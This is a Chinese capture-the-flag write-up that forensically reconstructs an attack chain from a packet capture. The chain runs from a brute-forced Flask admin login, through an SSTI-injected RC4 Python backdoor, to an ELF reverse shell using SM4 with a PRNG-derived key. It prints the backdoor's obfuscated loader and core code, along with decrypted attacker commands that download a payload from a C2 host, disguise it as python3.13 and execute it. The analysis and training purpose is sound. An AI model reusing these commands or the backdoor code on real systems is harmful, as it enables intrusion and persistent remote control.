玄机靶场-第三届-长城杯-初赛-SnakeBackdoor WP
2026/4/23 13:53:04 网站建设 项目流程

玄机靶场-第三届"长城杯"初赛-SnakeBackdoor WP

困难级别,6步,综合考察流量分析 + Flask SSTI漏洞利用 + RC4加密逆向 + ELF二进制逆向 + LD_PRELOAD Hook技术。整条攻击链从爆破后台到植入Python伪装木马,最后通过SM4加密反弹Shell拿到flag,链路清晰但每步都有一定深度。


1. 爆破后台密码

第一步要找攻击者爆破成功的那个密码。打开流量包,过滤 HTTP 流量,直接翻/admin/login的请求记录。爆破过程会产生大量 POST 请求,大部分返回 200 或 401,唯一那条返回302 跳转的就是密码正确的那次。

在 Wireshark 里用http.request.method == "POST" && http contains "/admin/login"过滤,倒着看找到最后一条 302,跟进 HTTP 流查看 POST 的 body:

username=admin&password=zxcvbnm123

302 跳转说明登录成功,密码就是zxcvbnm123

Flag 1:flag{zxcvbnm123}


2. 获取 Flask SECRET_KEY

攻击者登录后台后,利用了 Flask 应用的某个漏洞读取到了 SECRET_KEY。在流量包里直接搜索关键字SECRET_KEY,很快就能在 HTTP 响应体里找到:

SECRET_KEY = c6242af0-6891-4510-8432-e1cdf051f160

这个 SECRET_KEY 是 Flask session 签名密钥,拿到之后攻击者可以伪造任意 session,进一步利用后台功能。漏洞点在/admin/preview接口,是一个 SSTI(服务端模板注入)漏洞,通过preview_content参数注入恶意模板表达式,读取了应用配置。

Flag 2:flag{c6242af0-6891-4510-8432-e1cdf051f160}


3. 分析注入 Payload 中的加密密钥

拿到 SECRET_KEY 后,攻击者继续利用/admin/preview的 SSTI 注入了一段 Python 木马 Payload。追踪下一条/admin/preview的 POST 流量,在preview_content参数里能看到一段混淆的 base64 代码:

importbase64;exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS...'))

exec改成print运行,得到第一层解码结果:

_=lambda__:__import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQv...'))

这是一个递归加密结构:base64 + zlib 反转多层嵌套。编写脚本递归解密所有层,最终得到木马的核心代码:

RC4_SECRET=b'v1p3r_5tr1k3_k3y'defrc4_crypt(data:bytes,key:bytes)->bytes:S=list(range(256))j=0foriinrange(256):j=(j+S[i]+key[i%len(key)])%256S[i],S[j]=S[j],S[i]i=j=0res=bytearray()forcharindata:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]res.append(char^S[(S[i]+S[j])%256])returnbytes(res)defbackdoor_handler():ifrequest.headers.get('X-Token-Auth')!='3011aa21232beb7504432bfa90d32779':return"Error"enc_hex_cmd=request.form.get('data')...cmd=rc4_crypt(enc_cmd,RC4_SECRET).decode('utf-8')...

木马使用 RC4 对称加密隐藏通信内容,密钥字符串硬编码为v1p3r_5tr1k3_k3y,并通过X-Token-Auth请求头做身份验证。

Flag 3:flag{v1p3r_5tr1k3_k3y}


4. 找到木马本体文件名

木马后门通过X-Token-Auth: 3011aa21232beb7504432bfa90d32779头部认证,在流量包里搜索这个 token 值,找到所有后门通信流量。

用上一步拿到的 RC4 密钥v1p3r_5tr1k3_k3y编写解密脚本,批量解密所有data字段的十六进制密文:

importbinascii RC4_SECRET=b'v1p3r_5tr1k3_k3y'defrc4_crypt(data:bytes,key:bytes)->bytes:S=list(range(256))j=0foriinrange(256):j=(j+S[i]+key[i%len(key)])%256S[i],S[j]=S[j],S[i]i=j=0res=bytearray()forcharindata:i=(i+1)%256j=(j+S[i])%256S[i],S[j]=S[j],S[i]res.append(char^S[(S[i]+S[j])%256])returnbytes(res)defdecrypt(enc_hex_cmd):enc_cmd=binascii.unhexlify(enc_hex_cmd)cmd=rc4_crypt(enc_cmd,RC4_SECRET).decode('utf-8',errors='ignore')print(cmd)

解密后还原出攻击者执行的完整命令序列:

id uid=0(root) gid=0(root) groups=0(root) ls -al total 36 drwxr-xr-x 5 root root 4096 Dec 20 13:55 . ... -rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip Archive: /tmp/123.zip inflating: /tmp/shell mv /tmp/shell /tmp/python3.13 chmod +x /tmp/python3.13 /tmp/python3.13

攻击者从 C2 下载了一个shell.zip(密码nf2jd092jd01),解压得到二进制文件shell,然后把它改名为python3.13伪装成 Python 解释器,再赋权执行。木马本体文件名就是python3.13

Flag 4:flag{python3.13}


5. 逆向分析木马通信加密密钥

这一步需要对python3.13(即shell)这个 ELF 二进制文件进行逆向分析。

用 DIE(Detect It Easy)查壳,确认无壳,是标准 ELF 可执行文件。用 IDA Pro 分析主入口点:

  • 程序建立 TCP 连接到 C2 地址192.168.1.201:58782
  • 连接成功后先接收 4 字节握手数据
  • 然后调用sub_18ED(recv 封装)读取 4 字节种子值
  • 用这个种子调用srand()初始化随机数生成器
  • 连续调用 4 次rand(),将返回的 4 个 32 位整数拼成 16 字节密钥数组v8
  • 后续所有通信数据都用这个动态生成的密钥加密(SM4 算法)

关键逻辑:程序通过 Socket 接收到的是大端序字节流,在存入 seed 前需要进行字节序转换:

seed=(command_>>8)&0xFF00|(command_<<8)&0xFF0000|(command_<<24)|HIBYTE(command_);

在 Wireshark 里用以下过滤规则找到种子数据包:

(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4

第一条结果的内容就是种子:34952046(十六进制)。

编写 C 程序还原密钥(注意必须在 Linux/Kali 上编译,因为 Windows 和 Linux 的rand()实现不同):

#include<stdio.h>#include<stdlib.h>#defineHIBYTE(x)(((x)>>24)&0xFF)intmain(){unsignedintseed=0x34952046;srand(seed);for(inti=0;i<=3;i++){unsignedintr=rand();unsignedchar*ptr=(unsignedchar*)&r;for(intj=0;j<4;j++){printf("%02x",ptr[j]);}}return0;}

在 Kali Linux 上编译运行,得到 16 字节密钥(hex):

ac46fb610b313b4f32fc642d8834b456

Flag 5:flag{ac46fb610b313b4f32fc642d8834b456}


6. 获取服务器上的 flag

最后一步需要解密木马与 C2 之间的加密通信,还原攻击者在服务器上执行的命令和获取的 flag。

由于木马使用 SM4 加密且密钥是动态生成的,直接静态分析解密较为复杂。这里采用LD_PRELOAD Hook技术:通过劫持connectrandrecvpopenpclosesend等系统函数,让木马在本地"空跑",将流量包中的密文注入程序,由程序自己完成解密,再通过 hook 的popen打印出明文命令。

核心 Hook 逻辑:

  • connect:直接返回 0,绕过 C2 连接检查
  • rand:返回预设密钥ac46fb610b313b4f32fc642d8834b456的各字节,确保密钥一致
  • recv:按顺序注入从流量包中提取的密文长度和密文数据
  • popen:拦截并打印解密后的明文命令,不实际执行
  • pclose/send:返回正常值,防止程序因管道错误退出

从 Wireshark 追踪流 1827(ip.src == 192.168.1.201 && tcp.port == 58782tcp.len == 4的第一条结果),提取所有密文长度和密文对,注入 Hook 代码后编译运行:

gcc-fPIC-shared-ohook.so hook.c-ldlLD_PRELOAD=./hook.so ./python3.13

注意:出题人在流量包中将字符1l0O互换进行了混淆,需要手动还原后再注入。

程序解密输出的最终命令序列中包含服务器上的 flag:

flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

Flag 6:flag{6894c9ec-719b-4605-82bf-4fe1de27738f}


总结

这道题完整还原了一条从 Web 爆破到持久化驻留的攻击链:攻击者爆破 Flask 后台 → 利用 SSTI 漏洞注入多层混淆的 RC4 后门 → 通过后门下载并执行伪装成 Python 解释器的 ELF 木马 → 木马使用动态 PRNG 密钥 + SM4 加密建立反弹 Shell → 最终读取服务器 flag。

Flag 汇总:

步骤内容Flag
1爆破成功的后台密码flag{zxcvbnm123}
2Flask SECRET_KEYflag{c6242af0-6891-4510-8432-e1cdf051f160}
3RC4 加密密钥字符串flag{v1p3r_5tr1k3_k3y}
4木马本体文件名flag{python3.13}
5SM4 通信加密密钥(hex)flag{ac46fb610b313b4f32fc642d8834b456}
6服务器 flagflag{6894c9ec-719b-4605-82bf-4fe1de27738f}

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询